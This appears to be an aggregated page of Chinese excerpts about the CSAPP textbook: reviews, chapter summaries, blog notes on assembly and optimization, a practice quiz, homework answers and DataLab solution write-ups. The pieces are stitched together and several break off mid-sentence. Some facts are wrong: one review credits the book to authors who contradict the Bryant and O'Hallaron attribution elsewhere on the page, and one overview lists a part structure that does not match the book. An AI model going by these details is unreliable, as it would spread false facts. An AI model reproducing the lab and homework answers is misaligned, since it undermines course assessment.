深入理解计算机系统

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深入理解计算机系统读后感900字高中生技术洞察

深入理解计算机系统读后感900字高中生技术洞察《深入理解计算机系统》读后感《深入理解计算机系统》是一本由布莱恩·柯林汉和丹尼尔·波弗作为作者的计算机科学教材，该书以生动的语言、丰富的实例和深入的理论阐述了计算机系统的基本原理和运作机制。

通过阅读这本书，我对计算机系统有了更深入的理解和技术洞察。

以下是我对这本书的读后感。

首先，这本书对计算机系统的层次结构进行了详细介绍。

它将计算机系统划分为硬件和软件层次，涵盖了从最底层的逻辑门电路到最高层的应用软件的方方面面。

通过逐层解析，我了解了计算机系统中各个层次的功能和相互关系。

这种分层的讲解方式使我能够逐步理解和掌握计算机系统中的各个组成部分，有助于我更好地理解和应用相关知识。

其次，本书对计算机系统中的关键概念进行了深入讲解。

它详细介绍了数字逻辑、机器级语言、汇编语言、操作系统、存储器管理、输入输出等重要概念。

通过对这些概念的学习，我对计算机系统的运行和管理有了更深刻的认识。

特别是对于汇编语言和机器级语言的学习，使我更好地理解了计算机程序是如何被执行的，以及计算机底层的运行机制。

此外，本书通过一些生动的实例和案例分析，帮助我更好地理解和应用所学知识。

例如，在讲解存储器管理时，书中通过一个虚拟内存管理的例子，详细介绍了如何利用分页和页面替换算法来管理存储器。

这种以实际问题为导向的学习方式，使我不仅仅停留在理论层面，更加具体地了解了计算机系统的实际运作。

另外，本书还通过提供习题和实践项目，帮助我巩固和拓展所学知识。

通过这些习题和实践项目，我能够运用所学知识解决实际问题，并加深对计算机系统的理解。

这种能动性的学习方式使我在实践中不断探索和思考，从而提高了我的技术洞察力和问题解决能力。

综上所述，读完《深入理解计算机系统》后，我对计算机系统有了更深入的理解和技术洞察。

这本书通过详尽的讲解、丰富的实例和实践项目，帮助我逐步掌握计算机系统的基本原理和运作机制。

深入理解计算机系统 pdf 第三版

深入理解计算机系统 pdf 第三版深入理解计算机系统第三版本书是Bryant和O'Hallaron所著的《深入理解计算机系统》第三版。

这本书涵盖了计算机系统的许多重要领域，包括计算机组成、操作系统和网络。

通过对这些基本概念的深入探讨，读者将能够更好地理解计算机系统的工作原理，并学会如何设计高效和可靠的系统。

本书的第一部分介绍了计算机系统的基本概念，如位和字节的表示、指令集架构、存储器层次结构和系统级I/O。

读者将学会如何使用不同的表示形式来表示数字，如有符号和无符号整数、浮点数和字符串。

此外，本书还详细介绍了指令集架构的基本原理和机器级程序的执行过程。

通过对存储器层次结构和系统级I/O的讨论，读者将了解如何提高系统的性能和可扩展性。

第二部分深入研究了计算机系统的内存层次结构和存储管理技术。

本书介绍了主存、虚拟存储器、动态存储分配和缓存技术。

读者将学会如何利用虚拟存储器来管理有限的物理内存资源，并了解动态存储分配的原理和实现。

此外，本书还介绍了缓存技术的工作原理和性能优化策略，让读者能够设计高效的存储系统。

第三部分探讨了计算机系统的机器级表示和优化技术。

本书介绍了整数和浮点数的表示和计算、程序的机器级表示和汇编语言编程。

此外，本书还深入讨论了程序的运行时环境和陷阱处理，以及如何利用编译器进行性能优化。

第四部分涵盖了计算机系统的操作系统和网络。

本书介绍了操作系统的基本概念和功能，如进程管理、内存管理和文件系统。

读者将了解操作系统如何管理资源、提供服务和保护系统的安全性。

此外，本书还介绍了计算机网络的基本原理和协议，如IP、TCP和HTTP。

通过对这些关键概念的深入探讨，读者将能够理解计算机系统之间如何进行通信和共享资源。

《深入理解计算机系统》第三版不仅适合计算机科学和工程专业的学生，也适合对计算机系统工作原理感兴趣的读者。

阅读本书后，读者将对计算机系统的各个方面有更深入的理解，并能够应用所学知识设计和优化高效和可靠的系统。

深入理解计算机系统（5.1）------优化程序性能

深⼊理解计算机系统（5.1）------优化程序性能你能获得的对程序最⼤的加速⽐就是当你第⼀次让它⼯作起来的时候。

在讲解如何优化程序性能之前，我们⾸先要明确写程序最主要的⽬标就是使它在所有可能的情况下都能正常⼯作，⼀个运⾏的很快的程序但是却是错误的结果是没有任何⽤处的，所以我们在进⾏程序性能优化之前，⾸先要保证程序能正常运⾏，且结果是我们需要的。

⽽且在很多情况下，让程序跑的更快是我们必须要解决的问题。

⽐如⼀个程序要实时处理视频帧或者⽹络包，那么⼀个运⾏的很慢的程序就不能解决此问题。

再⽐如⼀个计算任务计算量⾮常⼤，需要数⽇或者数周，如果我们哪怕只是让它运⾏的快20%也会产⽣重⼤影响。

1、编写⾼效程序的切⼊点 ①、选择⼀组合适的算法和数据结构。

②、编写出编译器能够有效优化以转换成⾼效可执⾏的源代码。

③、多线程并⾏处理运算。

对于第⼀点，程序=数据结构+算法，选择合适的数据结构和算法⽆疑对于提⾼程序的运⾏效率有很⼤的影响。

第⼆点对于编程者则需要理解编译器的优化能⼒以及局限性，编写程序看上去只是⼀点⼩⼩的改动，可能都会引起编译器优化⽅式很⼤的变化；第三点技术主要这对运算量特别⼤的运算，我们将⼀个⼤的任务分成多个⼩任务，这些任务⼜可以在多核和多处理器的某种组合上并⾏的计算，这⾥我们也需要知道，即使是利⽤并⾏性，每个并⾏的线程都要以最⾼性能的⽅式执⾏。

2、编译器的优化能⼒和局限性正确性，正确性，正确性这个要着重提醒，所以编译器必须很⼩⼼的对程序使⽤安全的优化。

限制编译器只进⾏安全的优化，会消除⼀些造成错误的运⾏结果，但是这也意味着程序员必须花费更⼤的⼒⽓写出程序使编译器能够将之转换为有效机器代码。

对于下⾯两个程序：void add1(int *xp,int *yp){*xp += *yp;*xp += *yp;}void add2(int *xp,int *yp){*xp += 2* *yp;} 对上上⾯两个函数add1和add2，它们都是将存储在由指针 yp 指⽰的位置处的值两次加到指针 xp 指⽰的位置处的值。

深入理解计算机系统配套练习卷终审稿)

深入理解计算机系统配套练习卷文稿归稿存档编号：[KKUY-KKIO69-OTM243-OLUI129-G00I-FDQS58-《深入》题目李永伟第一章题目我们通常所说的“字节”由_____个二进制位构成。

A 2B 4C 6D 8微型计算机硬件系统中最核心的部位是__。

A 主板B. CPUC 内存处理器D I/O设备CPU中有一个程序计数器（又称指令计数器）。

它用于存储__。

A．保存将要提取的下一条指令的地址B．保存当前CPU所要访问的内存单元地址C．暂时存放ALU运算结果的信息D．保存当前正在执行的一条指令下列叙述中，正确的是A．CPU能直接读取硬盘上的数据B．CPU能直接存取内存储器C．CPU由存储器、运算器和控制器组成D．CPU主要用来存储程序和数据“32位微型计算机”中的32指的是（）。

A.微机型号B.内存容量C.运算速度D.机器字长第二章题目求下列算是得值，结果用十六进制表示：0x503c + 64 =______A． 0x507cB．0x507bC． 0x506cD．0x506b将十进制数167用十六进制表示的结果是______A．0XB7B．0XA7C．0XB6D．0XA6位级运算：0x69 & 0x55 的结果是_______A．0X40B．0X41C．0X42D．0X43逻辑运算！！0x41的结果用十六进制表示为_____A．0X00B．0X41C．0X14D．0X01位移运算：对参数则x>>4(算术右移)的结果是______A．[01010000]B．[00001001]C．D．截断：假设一个4位数值（用十六进制数字0~F表示）截断到一个3位数值（用十六进制0~7表示），[1011]截断后的补码值是___A．-3B．3C．5D．-5浮点表示：数字5用浮点表示时的小数字段frac的解释为描述小数值f，则f=______A.1/2B.1/4C.1/8D.1/162.4.2 _25-8数字5用浮点表示，则指数部分E=_____A.1B.2C.3D.4数字5用浮点表示，则指数部分位表示为___A ．2^ (K-1)+1B. 2^K+1C. 2^ (K-1)D. 2^K浮点运算：（3.14+1e10）-1e10 在计算机中的运算结果为A ．3.14B ．0C ．1e10D ．0.0第三章题目计算Imm(E b ,E i ,s)这种寻址模式所表示的有效地址：A ．Imm + R[E b ]+R[E s ] *sB. Imm + R[E b ]+R[Es]C. Imm + R[E b ]D. Imm +R[E s ]下面这种寻址方式属于_____M[R[E b ]]A. 立即数寻址B. 寄存器寻址C. 绝对寻址D. 间接寻址假设初始值：%dh=CD，则执行下面一条指令后，%eax的值为多少？MOVB %DH ，%ALA． %eax= 987654CDB． %eax= CD765432C %eax= FFFFFFCDD． %eax= 000000CD假设初始值：%dh=CD，则执行下面一条指令后，%eax的值为多少？MOVSBL %DH ，%ALA． %eax= 987654CDB． %eax= CD765432C %eax= FFFFFFCDD． %eax= 000000CD假设初始值：%dh=CD，则执行下面一条指令后，%eax的值为多少？MOVZBL %DH ，%ALA． %eax= 987654CDB． %eax= CD765432C %eax= FFFFFFCDD． %eax= 000000CD假设寄存器%eax的值为x，%ecx的值为y，则指明下面汇编指令存储在寄存器%edx中的值Leal （%eax ，%ecx），%edxA． xB yC x + yD x –y假设寄存器%eax的值为x，%ecx的值为y，则指明下面汇编指令存储在寄存器%edx中的值Leal 9（%eax ，%ecx , 2），%edxA． x +y +2B 9*(x + y + 2)C 9 + x + y +2D 9 + x + 2y条件码CF表示______A 零标志B 符号标志C 溢出标志D进位标志条件码OF表示______A 零标志B 符号标志C 溢出标志D进位标志在奔腾4上运行，当分支行为模式非常容易预测时，我们的代码需要大约16个时钟周期，而当模式是随机时，大约需要31个时钟周期，则预测错误处罚大约是多少？A． 25B． 30C． 35D． 40第五章题目指针xp指向x，指针yp指向y，下面是一个交换两个值得过程：Viod swap (int *xp ,int *yp){*xp = *xp + *yp //x+y*yp = *xp - *yp //x+y-y=x*xp = *xp - *yp //x+y-x=y}考虑，当xp=yp时，xp处的值是多少A . xB. yC . 0D．不确定考虑下面函数：int min( int x , int y ) { return x < y x : y;}int max( int x , int y ){ return x < y y : x; }viod incr (int *xp ,int v) { *xp += v;}int square( int x ) { return x *x; }下面一个片段调用这些函数：for( i = min(x,y) ;i< max(x,y); incr(&i，1))t +=square(i) ;假设x等于10，y等于100.指出该片段中4个函数 min (),max(),incr(),square()每个被调用的次数一次为A．91 1 90 90B．1 91 90 90C．1 1 90 90D．90 1 90 90考虑下面函数：int min( int x , int y ) { return x < y x : y;}int max( int x , int y ){ return x < y y : x; }viod incr (int *xp ,int v) { *xp += v;}int square( int x ) { return x *x; }下面一个片段调用这些函数：for( i = max(x,y) -1;i >= min(x,y); incr(&i，-1))t +=square(i) ;假设x等于10，y等于100.指出该片段中4个函数 min (),max(),incr(),square()每个被调用的次数一次为A．91 1 90 90B．1 91 90 90C．1 1 90 90D．90 1 90 90考虑下面函数：int min( int x , int y ) { return x < y x : y;}int max( int x , int y ){ return x < y y : x; }viod incr (int *xp ,int v) { *xp += v;}int square( int x ) { return x *x; }下面一个片段调用这些函数：Int low = min(x,y);Int high = max(x,y);For(i= low;i<high;incr(&i,1)t +=square(i);假设x等于10，y等于100.指出该片段中4个函数 min (),max(),incr(),square()每个被调用的次数依次为A．91 1 90 90B．1 91 90 90C．1 1 90 90D．90 1 90 90假设某个函数有多个变种，这些变种保持函数的行为，又具有不同的性能特性，对于其中的三个变种，我们发现运行时间（以时钟周期为单位）可以用下面的函数近似的估计版本1：60+35n版本2：136+4n版本3：157+1.25n问题是当n=2时，哪个版本最快？A．1B．2C．3D．无法比较假设某个函数有多个变种，这些变种保持函数的行为，又具有不同的性能特性，对于其中的三个变种，我们发现运行时间（以时钟周期为单位）可以用下面的函数近似的估计版本1：60+35n版本2：136+4n版本3：157+1.25n问题是当n=5时，哪个版本最快？A．1B．2C．3D．无法比较假设某个函数有多个变种，这些变种保持函数的行为，又具有不同的性能特性，对于其中的三个变种，我们发现运行时间（以时钟周期为单位）可以用下面的函数近似的估计版本1：60+35n版本2：136+4n版本3：157+1.25n问题是当n=10时，哪个版本最快？A．1B．2C．3D．无法比较下面有一个函数：double poly( double a[] ,double x, int degree){long int i；double result = a[0]；double xpwr =x;for(i=1 ; i<=degree; i++){result += a[i] *xpwr;xpwr =x *xpwr;}return result;}当degree=n，这段代码共执行多少次加法和多少次乘法？A．n nB．2n nC．n 2nD．2n 2n一名司机运送一车货物从A地到B地，总距离为2500公里。

深入理解计算机系统（3.1）------汇编语言和机器语言

深⼊理解计算机系统（3.1）------汇编语⾔和机器语⾔《深⼊理解计算机系统》第三章——程序的机器级表⽰。

作者⾸先讲解了汇编代码和机器代码的关系，阐述了汇编承上启下的作⽤；接着从机器语⾔IA32着⼿，分别讲述了如何存储数据、如何访问数据、如何完成运算以及如何进⾏跳转。

通过这些步骤，⼜告诉了我们分⽀语句、循环语句是怎么完成的，函数调⽤、栈帧结构以及递归过程。

最后能通过编译器产⽣的汇编代码表⽰，我们要了解编译器和它的优化能⼒，知道编译器能为我们完成哪些⼯作。

⽽这篇博客我们将讲解汇编和机器代码的关系。

⾸先下⾯⼀张图是C语⾔、汇编语⾔以及翻译过的机器语⾔，⼤家可以先有个⼤概的眼熟。

上图引⽤⾄：1、机器语⾔这系列博客第⼀篇我们就详细讲解了程序的编译，⼀个C语⾔程序是经过编译器变成汇编程序，然后通过汇编器变成机器代码，最后被计算机执⾏。

计算机是不能直接识别我们所编写的C程序或者Java程序的。

它只能识别机器语⾔，⽽机器语⾔是⽤⼆进制代码表⽰的计算机能直接识别和执⾏的⼀种机器指指令系统令的集合。

早期计算机就是指可以执⾏机器指令，进⾏运算的机器。

在我们常⽤的PC机中，有⼀个芯⽚，就是我们常说的CPU（Central Processing Unit，中央处理单元）可以完成前⾯所说的计算机的功能，但是每⼀种这样的微处理器（CPU）由于硬件设计和内部结构的不同，就需要⽤不同的电平脉冲来控制，使它⼯作。

所以每⼀种微处理器都有⾃⼰的机器指令集，也就是机器语⾔。

早期的程序设计均使⽤机器语⾔。

程序员们将⽤0, 1数字编成的程序代码打在纸带或卡⽚上，1打孔，0不打孔，再将程序通过纸带机或卡⽚机输⼊计算机，进⾏运算。

⽤机器语⾔编写程序，编程⼈员要⾸先熟记所⽤计算机的全部指令代码和代码的涵义。

⼿编程序时，程序员得⾃⼰处理每条指令和每⼀数据的存储分配和输⼊输出，还得记住编程过程中每步所使⽤的⼯作单元处在何种状态。

这是⼀件⼗分繁琐的⼯作。

深入理解计算机系统（3.3）---数据传送（或者说复制）指令详解

深⼊理解计算机系统（3.3）---数据传送（或者说复制）指令详解引⾔上⼀章我们已经介绍了汇编语⾔的基础部分，包括数据格式、寄存器以及操作数的标识⽅式，接下来我们就应该去认识⼀下汇编语⾔当中的各个指令了。

这些指令⼤多数都⾮常简单，但是组合在⼀起却能模拟出我们程序当中想要的任何效果，确实是⼗分神奇的⼀件事。

数据传送指令数据传送指令的⽬的是为了将⼀个数据从⼀个位置复制到另外⼀个位置。

既然如此，那么数据传送指令就会包含⼀个源操作数和⼀个⽬的操作数，指令会将原操作数的值复制到⽬的操作数并覆盖。

数据传送指令⼀共可分为五种，分别是mov、movs、movz、push以及pop，下⾯LZ依次介绍⼀下这五个指令的作⽤。

mov指令 mov指令的作⽤是将源操作数S中的数据复制到⽬的操作数D中，mov指令有⼀个数据格式和两个操作数，因此⼀般的形式为[movx S D]。

其中x为数据格式，S为源操作数，D为⽬的操作数。

这⾥举⼀个简单的例⼦，⽐如我们有⼀条指令为movl %edx %eax。

那么它的执⾏过程就如下图所⽰。

可以看到，在指令执⾏之后，%edx寄存器当中的内容会被复制到%eax寄存器。

需要⼀提的是，mov指令可以在后⾯加上任何数据格式，⽐如上⾯这⼀过程中，数据格式则为四个字节，也就是双字。

因此不难推断出，我们还可以使⽤movb和movw去复制⼀个字节或者两个字节。

movs指令 movs指令的作⽤是将源操作数S中的数据做符号扩展后，再复制到⽬的操作数D中，movs指令有两个数据格式和两个操作数，因此⼀般的形式为[movsxy S D]。

其中x、y为数据格式，S为源操作数，D为⽬的操作数。

其中x、y的组合⼀共有三种，分别是bw、bl、wl，这三个组合代表的意思分别是单字节到双字节，单字节到双字以及双字节到双字。

这⾥LZ依然举⼀个例⼦，对于指令movswl %dx %eax来讲，它的作⽤如下图所⽰。

这⾥为了可以看出符号位的扩展，因此LZ这⾥使⽤了⼗六进制的整数表⽰⽅式。

《深入理解计算机系统》第三版第三章家庭作业答案

《深⼊理解计算机系统》第三版第三章家庭作业答案简述相信⼤部分⼈在做这些题的时候，因为书中没有给答案，⽽去⽹上找参考答案，⽐如那些⾼阅读量的博客和git 。

当然，我也是这样，但他们的答案中还是有好多错误，⽐如3.59他们⼏乎都没讲清楚提⽰中的公式怎么来的，3.60中对移位操作中对%cl 的读取，等等。

希望读者们在阅读这些⽂章时，要带着⾃⼰的思想和疑问去理解，⽽不是⼀味地觉得答案就肯定是对的，当然，本⽂有任何错误，也欢迎各位指出。

3.58long decode2(long x,long y,long z){y = y - z;x = x * y;y <<= 63;y >>= 63;return y ^ x;}y 先左移63位，再右移63位，如果之前y 是奇数，那么y 的⼆进制全是1；y 是偶数，那么y 的⼆进制全是0.3.59⾸先讲解⼀下，提⽰⾥的公式x =264∗x h +x l x =264∗xh +xl ，之所以可以这么写是因为符号拓展，以4位⼆进制int 为例：1111的补码数，为-1.将其进⾏符号拓展后为1111 1111，其值也为-1，但这⾥可以将1111 1111写为⾼位1111的补码数 * 2424 + 低位1111的⽆符号数：即-1 * 2424 + 15 = -1.原理：%rdx 和%rax 的⼆进制连起来表⽰这个数，既然连起来了，符号位就跑到了%rdx 的最⾼位了，除符号位权值为负外，其余位的权值均为正。

所以，⾼位寄存器%rdx 当做补码数，低位寄存器%rax 当做⽆符号数。

因为符号位现在在⾼位寄存器那⼉呢，所以⾼位寄存器当做补码数了；⽽低位寄存器的每⼀位的权值现在都是正的了，所以低位寄存器要当做⽆符号数。

所以x l xl 为T 2U (x )T2U(x)即x 的⼆进制表⽰作为⽆符号数。

x l xl 与x x 有相同的位级表⽰。

x h xh ，当原数符号位为1，64位⼆进制位上全为1，其值为-1；当原数符号位为0时，64位⼆进制位上全为0，其值为0。

深入理解计算机系统LAB1实验报告

LAB1实验报告语法检查：正确性检查：1.bitAnd源代码：return ~(~x|~y);思路：可以直接运用摩尔定律，写出与的等价形式。

2.getByte源代码：return (x>>(n<<3))&0xff;思路：向右移动3n位，再用11111111B按位与，截取出所需要的字节3.logicalShift源代码：int logic=~(((1<<31)>>n)<<1);return logic&(x>>n);思路：设置一个变量logic，并通过算数移位将其前n为设置成0，后面32-n位设置为1。

利用这个变量按位与移位后的x即可。

4.bitCount源代码：int bitCount(int x) {int result;int half_one=(0x55)|(0x55<<8);int one=(half_one)|(half_one<<16);int half_two=(0x33)|(0x33<<8);int two=(half_two)|(half_two<<16);int half_three=(0x0f)|(0x0f<<8);int three=(half_three)|(half_three<<16);int four=(0xff)|(0xff<<16);int five=(0xff)|(0xff<<8);result=(x&one)+((x>>1)&one);result=(result&two)+((result>>2)&two);result=(result+(result>>4))&three;result=(result+(result>>8))&four;result=(result+(result>>16))&five;return result;}思路：主要还是使用二分法，通过以为设置五个字符串：010101010101010101010101 0101 01010011 0011 0011 0011 0011 0011 0011 00110000 1111 0000 1111 0000 1111 0000 11110000 0000 1111 1111 0000 0000 1111 11110000 0000 0000 0000 1111 1111 1111 1111分别通过按位与统计1的个数，并将个数记录在下一个字符串1出现的位置。

深入理解计算机系统LAB2

实验二报告一、实验内容根据实验文件里的提示，补充15段代码，熟悉对整型和浮点型数的操作，并成功调试运行。

二、实验程序解释1.bitAnd要求只运用~和|符号实现and的功能。

a and b=not(not a or not b),根据德摩根律易得结果。

int bitAnd(int x, int y) {return ~(~x|~y);}2.getByte得到x的第n个字节的值，规定其中x的最低位为第0个字节，最高位为第3个字节。

如果是第0个字节，将x右移0个字节再利用掩码0xFF将高位的三个字节置为0。

如果是求第1个字节，将x右移1个字节，同理利用掩码。

可以知道，将x右移n个字节也就是n*8位、即(n<<3)位。

接下来清除前三个高位字节，保留最低字节的信息，与0xFF进行&运算。

int getByte(int x, int n) {int t;t=x>>(n<<3);t=t&0xFF;return t;}3.LogicalShift逻辑右移是将移动后补充的高位置0，而算数右移时补充的和符号位相同。

对于字x，需要进行逻辑右移n位。

将x用sxxxxxxx表示，s为符号位，算术右移n-1位的结果为ss…sxx..（有n个s）。

想要得到的结果是00…xxx..(n个0)，所以如果能得到s’s’…s’111..（n个s’）的话，按位与就能得到结果。

首先提取符号位t，1左移31位得到100..00，与x进行按位与操作得到s000..0，接着算术右移n位，得到ss..s00..00（n+1个s），再左移1位，得到s..s0..0(n个s)，取反得到s’s’..s’111..1。

这样就能得到逻辑右移n位的结果了。

注意，在得到s’s’…111的过程中，不能直接将s00.. 0右移n-1位，考虑特殊情况，n为0时，右移-1位是不正确的。

int logicalShift(int x, int n) {int t=(1<<31)&x;t=~((t>>n)<<1);t=(x>>n)&t;return t;}4.bitCount要求计算32位二进制数x中1个个数。

深入理解计算机系统（CSAPP）课后实验CSAPPLAB1——DataLab

深⼊理解计算机系统（CSAPP）课后实验CSAPPLAB1——DataLab实验说明《深⼊理解计算机系统》是卡内基梅隆⼤学计算机专业的计算机体系课程的标配教材，可以在B站看其配套⽹课（）。

课程由书的作者两个⼈共同执教，⽐较适合有C语⾔的基础的同学作为计算机体系构建的课程。

但是，仅仅看书收获还是有限的，所以为了加强Coding，⽽不是纸上谈兵，还需要做这本书配套的实验，全书总共9个实验，本次讲解Lab1。

实验条件准备实验环境使⽤Ubuntu，为了减少环境搭建成本，我们使⽤虚拟机来进⾏。

我之前⽤过VMWare，但感觉不是很舒服，⽽且还要找破解版⽐较⿇烦。

所以，这次使⽤VituralBox，这是开源的虚拟机，免费，⾜够实验使⽤。

虚拟机环境搭建⾸先，去VituralBox官⽹下载虚拟机安装包（），⼀般是Windows的吧，如果想下载其他版本的，点这个。

下载完毕，管理员权限安装，⼀路点Next就好了。

按照⼀般配置虚拟机的套路，我们应该去Ubuntu之类的官⽹下载系统镜像来进⾏安装。

但实际上，这个步骤可以省⼀省，直接去下载⼈家配置好环境的虚拟机镜像就好，⼀键配置妙不妙呀~我这⾥是⽤之前下载的⼀个清华操作系统课程提供的系统镜像（），⾥⾯已经配置好了，虚拟机的管理员密码是1个空格，⼀般提⽰输密码就输这个下载好镜像之后解压缩，注意，这个压缩包格式是.xz（某明星），这⾥实测WINRAR和BANDZIP可以解压，其他的没测试过。

解压之后是⼀个6G多的.vdi⽂件，在硬盘⾥新建⼀个⽂件夹，把.vdi⽂件拖进去。

然后打开VituralBox，点击创建，系统类型选择Linux，Ubuntu64位，给虚拟机起个名字，然后选择刚刚新的⽂件夹作为虚拟机⽬录，点下⼀步。

现在是选择内存⼤⼩，随意，⼤点没那么卡，⼩点可以同时开多⼏个，建议2GB以上，再下⼀步。

选择⽤已有的虚拟硬盘⽂件，然后打开⽬录，选中刚刚那个.vdi⽂件，点击创建。

《深入理解计算机系统》读书心得

《深入理解计算机系统》读书心得通过阅读《深入理解计算机系统》，我深深体会到了计算机系统的复杂性和精妙之处。

这本书系统地介绍了计算机系统的各个层次，从硬件到操作系统再到应用程序的实现，使我深入了解了计算机系统的运行原理和工作方式。

首先，书中详细介绍了计算机系统的硬件部分，包括处理器的结构与功能、内存的层次结构、存储器的管理和缓存的设计等。

通过学习这些内容，我对计算机的运行机制有了更加清晰的认识，了解了计算机如何执行程序、如何进行数据存储和访问等基本操作。

同时，书中还介绍了指令集体系结构和流水线技术等先进的处理器设计原理，使我对处理器的工作方式和性能优化有了更深入的理解。

其次，书中还详细介绍了操作系统的基本概念和结构，包括进程管理、存储管理、文件系统等内容。

通过学习这些知识，我对操作系统的功能和作用有了更深入的了解，了解了操作系统如何管理计算机资源、提高系统的运行效率，并且学习了操作系统的基本原理和设计思想，对我今后的系统编程和系统管理工作有了很大帮助。

最后，书中还介绍了应用程序的实现原理和优化方法，包括程序的编译、链接和调试等内容。

通过学习这些内容，我对程序的编写和优化有了更深入的认识，了解了程序如何被编译和执行、如何进行性能优化等关键问题，这对我的编程能力和技术水平的提高有着重要的意义。

总的来说，《深入理解计算机系统》是一本非常优秀的计算机系统教材，通过学习这本书，我对计算机系统的各个方面有了更深入的了解，提高了我的技术水平和解决问题的能力，对我今后的学习和工作都有很大的帮助。

希望能够继续深入学习计算机系统的知识，不断提高自己的技术水平，为未来的发展打下坚实的基础。

深入理解计算机系统家庭作业答案

2) a-b <= abs(a) + abs(b) <= abs(TMax) + abs(TMin)=(2^w - 1)所以，a，b异号，t，b同号即可判定为溢出。

int tsub_ovf(int x, int y){int w = sizeof(int)<<3;int t = x - y;x>>=(w-1);y>>=(w-1);t>>=(w-1);return(x != y) && (y == t);}顺便整理一下汇编中CF，OF的设定规则(个人总结，如有不对之处，欢迎指正)。

t = a + b;CF: (unsigned t) < (unsigned a) 进位标志OF: (a<0 == b<0) && (t<0 != a<0)t = a - b;CF: (a<0 && b>=0) || ((a<0 == b<0) && t<0) 退位标志OF: (a<0 != b<0) && (b<0 == t<0)汇编中，无符号和有符号运算对条件码（标志位）的设定应该是相同的，但是对于无符号比较和有符号比较，其返回值是根据不同的标志位进行的。

详情可以参考第三章节。

根据2-18，不难推导， (x'*y')_h = (x*y)_h + x(w-1)*y + y(w-1)*x。

unsigned unsigned_high_prod(unsigned x, unsigned y){int w = sizeof(int)<<3;A. false，float只能精确表示最高位1和最低位的1的位数之差小于24的整数。

所以当x==TMAX时，用float就无法精确表示，但double是可以精确表示所有32位整数的。

csapp

csappCSAPP: 深入理解计算机系统引言：CSAPP（Computer Systems: A Programmer's Perspective）是一本由Randal E. Bryant和David R. O'Hallaron编写的经典教材，旨在帮助计算机程序员更深入地理解计算机系统的各个层面。

它涵盖了计算机硬件、操作系统和编译器等主要主题，具有广泛的应用范围和实用性。

本文将从四个方面主要介绍CSAPP的内容及其重要性。

一、硬件层面的理解：CSAPP致力于帮助程序员更深入地了解计算机的硬件层面。

在这一方面，本书介绍了计算机的体系结构、数据表示、处理器体系结构以及缓存和存储器等内容。

通过深入学习这些概念，程序员可以更好地理解计算机原理，并优化代码以提高程序的性能。

CSAPP的硬件层面的知识有助于程序员更好地理解代码在计算机上的执行过程。

了解计算机的体系结构和指令集架构，可以帮助程序员写出更高效和优化的代码。

掌握数据表示的原理，能够更好地处理不同类型的数据。

了解处理器体系结构，可以优化并发执行的程序，提高系统的吞吐量和响应时间。

此外，理解缓存和存储器的工作原理，还能提高程序的访存效率。

二、操作系统的理解：除了硬件层面的知识，CSAPP还介绍了操作系统的基本概念和工作原理。

操作系统是计算机系统中的核心组成部分，对于程序员来说，了解操作系统的原理和机制，可以更好地编写高效和可靠的代码。

CSAPP详细介绍了操作系统的各个主要组成部分，包括进程与线程管理、内存管理、文件系统、虚拟内存等。

掌握这些概念和机制，可以帮助程序员编写线程安全的代码，优化内存的使用，有效地管理文件和I/O操作，并降低程序对硬件资源的依赖。

此外，CSAPP 还介绍了操作系统的运作原理，通过理解操作系统的内核和调度算法，可以更好地优化程序的执行效率和响应时间。

三、编译器的理解：编译器是将高级语言代码转化为机器代码的关键工具。

深入理解计算机系统第三版

深入理解计算机系统第三版简介《深入理解计算机系统》是一本经典的计算机科学教材，由Randal E.Bryant和David R.O’Hallaron合著。

该教材通过深入探索计算机系统的各个方面，帮助读者从底层理解计算机系统的运行原理和内部机制。

本文将简要介绍第三版《深入理解计算机系统》，并对其内容进行概述。

第三版内容总览第三版《深入理解计算机系统》相比前两版进行了全面的更新和改进。

新版主要包括以下内容：Part I 程序结构和执行第一部分主要讲解了计算机系统的基本概念和原则，包括处理器、存储器和输入/输出设备的组织结构和工作原理。

同时介绍了汇编语言和机器级代码的编写和调试方式。

Part II 机器级表示第二部分深入讲解了计算机底层的机器级表示，包括整数和浮点数的表示和运算、指令集体系结构、处理器体系结构以及处理器执行流水线等。

Part III 程序优化第三部分讨论了程序优化的相关内容，包括重排指令以提高性能、内存层次结构和高速缓存、动态内存分配和局部性原理等。

Part IV 系统级I/O第四部分介绍了系统级输入/输出的原理和实现方式，包括文件I/O、网络编程、并发和线程等。

Part V 高级主题第五部分涵盖了一些高级主题，包括虚拟内存、动态链接和异常控制流等。

Part VI 网络编程第六部分重点介绍了网络编程的相关知识，包括套接字编程、Web服务器的构建和网络安全等。

适用对象和阅读建议《深入理解计算机系统》第三版适用于计算机科学与工程专业的学生、程序员、系统工程师等。

阅读本书需要一定的计算机基础知识，包括计算机组成原理、数据结构和算法等。

推荐阅读者在阅读本书之前先具备一定的编程能力，并了解C 语言和汇编语言的基本知识。

阅读建议： 1. 在阅读前，请先浏览目录，熟悉各个部分的内容和组织结构。

2. 阅读过程中，可以结合实际的计算机系统和编程项目来加深理解和实践。

3. 在阅读过程中遇到问题或不理解的地方，可以进行查阅相关的文献和资料，或者参考教材提供的参考文献和扩展阅读材料。

深入理解计算机系统--信息的存储和表示

深入理解计算机系统--信息的存储和表示1、信息的存储什么是信息？信息是客观事物属性的反映，是经过加工处理并对人类客观行为产生影响的数据表现形式。

那么我们这里也要提一下什么是数据，数据是反应客观事物属性的记录，是信息的具体表现形式。

任何事物的属性都是通过数据来表示的，数据经过加工处理后成为信息，而信息必须通过数据才能传播，才能对人类产生影响。

例如，数据2、4、6、8、10、12是一组数据，其本身是没有意义的，但对它进行分析后，就可得到一组等差数列，从而很清晰的得到后面的数字。

这便对这组数据赋予了意义，称为信息，是有用的数据。

计算机内所有的信息均以二进制的形式表示，也就是由值0和值1组成的序列。

大多数计算机使用8位的块，或者说字节（'位(bit)'是电子计算机中最小的数据单位，每一位的状态只能是0或1。

8个二进制位构成1个'字节(Byte)'），来作为最小的可寻址的存储器单位，而不是在存储器中访问单独的位。

也就是说我们访问计算机最小的单位是八个位构成的字节，而不是值0或值1的单个位。

程序会将存储器视为一个非常大的字节数组，称为虚拟存储器（virtual memory）。

存储器的每一个字节都由唯一的数字来标识，也就是我们说的地址（address），所有可能地址的集合称为虚拟地址空间（virtual address space）比如 C 语言中的一个指针的值，无论它是指向一个整数、一个结构或是某个其他程序的对象，都是某个存储块的第一个字节的虚拟地址。

编译器和系统运行时是如何将存储器空间划分为更可管理的单元，用来存放不同的程序对象。

这个后面会详细介绍。

2、十六进制表示法一个字节由 8 位组成。

在二进制表示法中，它的值域为 00000000——11111111；如果用十进制表示就是0——255。

这两种表示法用来描述计算机中的位模式（计算机中所有二进制的0、1代码所组成的数字串）来说都不是很方便。

深入理解计算机系统第二版家庭作业答案

